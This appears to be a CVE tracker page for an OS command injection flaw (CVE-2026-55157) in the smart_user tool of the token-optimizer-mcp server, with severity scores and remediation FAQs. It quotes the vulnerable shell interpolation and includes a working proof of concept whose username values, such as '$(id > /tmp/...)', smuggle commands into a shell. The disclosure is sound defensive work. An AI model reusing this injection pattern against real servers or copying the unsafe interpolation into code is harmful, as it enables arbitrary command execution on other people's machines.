CVE-2026-55157

HIGHPre-NVD 8.48.4
EchelonGraph scoreLOW confidence

This high-severity CVE scores 8.4 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
8.4EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 8.4Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Token Optimizer MCP: OS command injection in smart_user via username in get-user-info

Summary

token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool.

The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command executed through execAsync():

getent passwd "${username}" || grep "^${username}:" /etc/passwd

Although the value is wrapped in double quotes, POSIX shells still evaluate command substitution such as $(...) and backticks inside double quotes. As a result, an MCP client can provide a crafted username such as:

$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)

and execute arbitrary local commands with the privileges of the user running the MCP server.

This is a CWE-78 OS command injection issue.

Tested version:

@ooples/token-optimizer-mcp v5.0.1
MCP serverInfo.name: token-optimizer-mcp
MCP serverInfo.version: 0.2.0

This issue is not related to the current npm audit dependency advisories. The vulnerability is in token-optimizer-mcp's own tool implementation.


Details

The vulnerable code path is in the smart_user implementation.

The username argument is eventually passed into a shell command similar to:

const { stdout: passwdOut } = await execAsync(
  getent passwd "${username}" || grep "^${username}:" /etc/passwd
);

The problem is that username is controlled by the MCP tool caller and is inserted into a command string executed by a shell.

Double quotes do not make this safe. In POSIX shells, command substitution is still evaluated inside double quotes:

"$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID)"
"id"

Therefore, a malicious username can execute arbitrary commands before getent or grep receives its arguments.

The affected MCP tool call is:

tool: smart_user
operation: get-user-info
argument: username

Root cause:

MCP-controlled username
→ interpolated into shell command string
→ executed through execAsync()
→ shell evaluates $(...) / backticks
→ arbitrary command execution


PoC

The following PoC runs a harmless id command and writes the result to a temporary file under /tmp.

Prerequisites:

Node.js installed
token-optimizer-mcp built from source

Build from source:

git clone https://github.com/ooples/token-optimizer-mcp.git
cd token-optimizer-mcp
npm install
npm run build

Run the PoC:

cd /path/to/token-optimizer-mcp

ENTRY=dist/server/index.js ID_OUT="/tmp/TOKEN_OPTIMIZER_SMART_USER_ID_$(date +%s)_$$" rm -f "$ID_OUT"

echo "[*] ENTRY=$ENTRY" echo "[*] id output file: $ID_OUT"

python3 - "$ID_OUT" <<'PY' | timeout 20 node "$ENTRY" 2>&1 | tee /tmp/token_optimizer_smart_user_poc.log import json import sys

id_out = sys.argv[1]

This value is inserted into:

getent passwd "${username}" || grep "^${username}:" /etc/passwd

Command substitution still executes inside double quotes.

evil_username = f'$(id > {id_out})'

messages = [ { "jsonrpc": "2.0", "id": "init", "method": "initialize", "params": { "protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": { "name": "poc", "version": "0" } } }, { "jsonrpc": "2.0", "method": "notifications/initialized", "params": {} }, { "jsonrpc": "2.0", "id": "poc-smart-user", "method": "tools/call", "params": { "name": "smart_user", "arguments": { "operation": "get-user-info", "username": evil_username, "useCache": False } } } ]

for msg in messages: print(json.dumps(msg), flush=True) PY

sleep 1

if [ -f "$ID_OUT" ]; then echo "[VULN CONFIRMED] smart_user command injection executed:" cat "$ID_OUT" ls -l "$ID_OUT" else echo "[FAIL] smart_user id output file not created" tail -120 /tmp/token_optimizer_smart_user_poc.log fi

Expected result:

[VULN CONFIRMED] smart_user command injection executed:
uid=1001() gid=1001() groups=...
-rw-rw-r-- 1   ... /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...

In my test, the MCP response also showed that the payload reached the shell command:

Command failed: getent passwd "$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...)" || grep "^$(id > /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_...):" /etc/passwd

The file /tmp/TOKEN_OPTIMIZER_SMART_USER_ID_... was created and contained the output of id, confirming command execution as the MCP server user.

A simpler marker-file variant also works:

{
  "operation": "get-user-info",
  "username": "$(touch /tmp/TOKEN_OPTIMIZER_SMART_USER_PWNED)",
  "useCache": false
}


Impact

This is an OS command injection vulnerability.

Any MCP client that can call the smart_user tool can execute arbitrary shell commands through the username argument of the get-user-info operation.

The commands execute with the privileges of the user running the token-optimizer-mcp server.

Confirmed impact:

execution of id as the MCP server user
arbitrary file creation under /tmp through an injected command

CVSS v3
8.4
EG Score
8.4(low)
EG Risk
42(Track)
EG Risk 42/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity84% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

August 14, 2026

Last Modified

August 14, 2026

Vendor Advisories for CVE-2026-55157(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-08-14 22:25 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-55157?
CVE-2026-55157 is a high vulnerability published on August 14, 2026. Token Optimizer MCP: OS command injection in smart_user via username in get-user-info Summary token-optimizer-mcp is vulnerable to OS command injection in the smart_user tool. The get-user-info operation accepts a user-controlled username argument and later interpolates it into a shell command…
When was CVE-2026-55157 disclosed?
CVE-2026-55157 was first published in the National Vulnerability Database on August 14, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-55157?
CVE-2026-55157 has a CVSS v4.0 base score of 8.4 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-55157?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-55157, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-55157

Explore →

Is Your Infrastructure Affected by CVE-2026-55157?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.